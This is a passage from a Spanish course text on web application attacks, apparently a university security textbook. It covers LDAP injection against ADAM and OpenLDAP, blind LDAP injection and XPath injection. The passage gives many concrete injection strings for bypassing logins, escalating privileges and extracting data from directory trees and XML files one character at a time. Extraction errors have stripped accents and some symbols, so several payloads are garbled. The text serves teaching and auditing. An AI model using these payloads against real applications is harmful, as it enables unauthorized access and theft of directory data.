y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

